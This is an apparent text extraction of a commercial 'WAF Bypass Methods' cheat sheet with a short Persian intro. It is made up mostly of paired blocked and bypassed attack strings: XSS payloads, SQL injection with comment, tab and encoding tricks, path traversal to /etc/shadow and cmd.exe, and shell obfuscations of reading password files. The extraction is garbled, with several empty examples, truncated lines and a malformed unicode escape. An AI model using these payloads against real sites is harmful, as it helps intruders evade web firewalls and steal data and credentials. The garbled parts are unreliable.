1671434977811-WAF Bypass Methods Techniques
1671434977811-WAF Bypass Methods Techniques
v 1.0
HADESS.IO
HADESS
تجربه نشان.دفاع در برابر آخرین تهدیدات سایبری نیاز به درک عمیقی از نحوه عملکرد مهاجمان دارد
، نیز علیرغم داشتن بهترین مهندسان نرم افزار دنیا.. داده حتی برترین شرکت های دنیا مانند گوگل و
.گاهی مورد حمله مهاجمان قرار گرفته و ضررهای متعددی متوجه ایشان شده است
HADESS.IO
WHAT IS WAF
Web application attacks prevent important transactions and steal sensitive data.
Imperva Web Application Firewall (WAF) stops these attacks with near-zero false
positives and a global SOC to ensure your organization is protected from the latest
Send a standard GET request from a browser, intercept, and record response
Send a request from the command line (e.g., cURL), and then check response
Send GET requests to random open ports and check banners that might expose
password.
Try with noisy XSS payloads like <script>confirm()</script> in some input fields.
1 HADESS.IO
WAF BYPASS TECHNIQUE
Encoding Technique
Blocked by WAF:
<Svg/x=">"/OnLoAD=confirm()//
Bypassed Technique:
%3CSvg%2Fx%3D%22%3E%22%2FOnLoAD%3Dconfirm%28%29%2F%2F
Blocked by WAF:
UniOn(SeLeCt 1,2,3,4,5,6,7,8,9,10)
Bypassed Technique:
UniOn%28SeLeCt+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%29
Example in URL:
https://example.com/page.php?id=1%252f%252a*/UNION%252f%252a /SELECT
Unicode Technique
ASCII characters in Unicode encoding give us great variants for bypassing WAF.
Basic Request:
<marquee onstart=prompt()>
Obfuscated:
<marquee onstart=\u0070r\u06f\u006dpt()>
Blocked by WAF:
/?redir=http://google.com
2 HADESS.IO
WAF BYPASS TECHNIQUE
Unicode Technique
Bypassed Technique:
。
/?redir=http://google com (Unicode alternative)
Blocked by WAF:
Bypassed technique:
../../etc/shadow
Obfuscated:
%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFshadow
Poorly developed filters (without recursion filters) can be bypassed with double
encoding.
Basic Request:
http://example/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\
Obfuscate Payload:
http://example/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/
c+dir+c:\
Basic Request:
<script>confirm()</script>
Obfuscate Payload:
3 %253Cscript%253Econfirm()%253C%252Fscript%253E HADESS.IO
WAF BYPASS TECHNIQUE
Comments Technique
Blocked by WAF:
<script>confirm()</script>
Bypassed Technique:
<!--><script>confirm/**/()/**/</script>
Blocked by WAF:
/?id=1+union+select+1,2--
Bypassed Technique:
/?id=1+un/**/ion+sel/**/ect+1,2--
Insert comments in the middle of attack strings. For instance, /*!SELECT*/ might
be overlooked by the WAF but passed on to the target application and processed
by a mysql database.
Example in URL:
Example in URL:
4 HADESS.IO
WAF BYPASS TECHNIQUE
Wildcard Obfuscation Technique
Global patterns are used by various command-line utilities to work with multiple
files.
Basic Request:
/bin/cat /etc/passwd
Obfuscate Payload:
/???/??t /???/??ss??
Used chars:
/?ts
Basic Request:
Obfuscate Payload:
Used chars:
/ ? n [0-9]
This allows us to generate payloads that can bypass many filters and rules.
Basic Request:
<script>confirm()</script>
5 HADESS.IO
WAF BYPASS TECHNIQUE
Wildcard Obfuscation Technique
Obfuscate Payload:
<script>eval('con'+'fi'+'rm()')</script>
Basic Request:
/bin/cat /etc/shadow
Obfuscate Payload:
/bi'n'''/c''at' /e'tc'/sh''ad'ow
Basic Request:
<iframe/onload='this["src"]="javascript:confirm()"';>
Obfuscate Payload
<iframe/onload='this["src"]="jav"+"as	cr"+"ipt:con"+"fir"+"m()"';>
6 HADESS.IO
WAF BYPASS TECHNIQUE
Junk Characters
Adding some junk chars helps avoid detection (only specific cases ).
Basic Request:
<script>confirm()</script>
Obfuscate Payload:
<script>+-+-1-+-+confirm()</script>
Basic Request:
<BODY onload=confirm()>
Obfuscate Payload:
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()>
Basic Request:
<a href=javascript;alert()>ClickMe
Bypassed Technique:
href=javascript:alert(1)>ClickMe
7 HADESS.IO
WAF BYPASS TECHNIQUE
Line Breaks
Line breaks technique (CR and LF) can break firewall regex and bypass stuff.
Basic Request:
<iframe src=javascript:confirm(hacker)">
Obfuscate Payload:
<iframe
src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(hac
ker)">
Uninitialized Variables
Wrong regular expression based filters can be evaded with
Basic Request:
/bin/cat /etc/shadow
Obfuscate Payload:
/bin/cat$u /etc/shadow$u
Basic Request:
/bin/cat /etc/shadow
Obfuscate Payload:
$u/bin$u/cat$u $u/etc$u/shadow$u
8 HADESS.IO
WAF BYPASS TECHNIQUE
Tabs and Line Feeds
based.
Basic Request:
<IMG SRC="javascript:confirm();">
Bypassed Technique:
Variant:
Basic Request:
Bypassed Technique:
http://test.com/test?
id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3
Basic Request:
<iframe src=javascript:confirm()></iframe>
Obfuscate Payload:
<iframe
src=j	a	v	a	s	c	r	i&Tab
;p	t	:c	o	n	f	i	r	m
	%28	%29></iframe>
9 HADESS.IO
WAF BYPASS MATRIX
0 1
%3CSvg%2Fx%3D%22%3E%22%2FOnLoAD%3D
Encoding confirm%28%29%2F%2F
<<h1>>TEST<</h1>>
1 0
Double
<ScrIpT>confirm()</sCRiPt>
Keep going on
0 1 <ScrIpT>prompt()</sCRiPt>
Comment
0 1 <!--><script>confirm/**/()/**/</script>
Wildcard
1 1 /???/??t /???/??ss??
Junk
0 1 <script>+-+-1-+-+confirm()</script>
<iframe
0 1
Line src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0
Ai%0Ap%0At%0A%3Aconfirm(hacker)">
GET /?id=payload
id=payload
10 HADESS.IO
TOOLS
xssor.io
11 HADESS.IO
RESOURCES
hacken.io
https://github.com/JnuSimba/MiscSecNotes/blob/master/Bypass%20W
AF/bypass%20waf%20Cookbook.md
https://github.com/0xInfection/Awesome-WAF
hadess.io
xssor.io
12 HADESS.IO
HADESS
HADESS.IO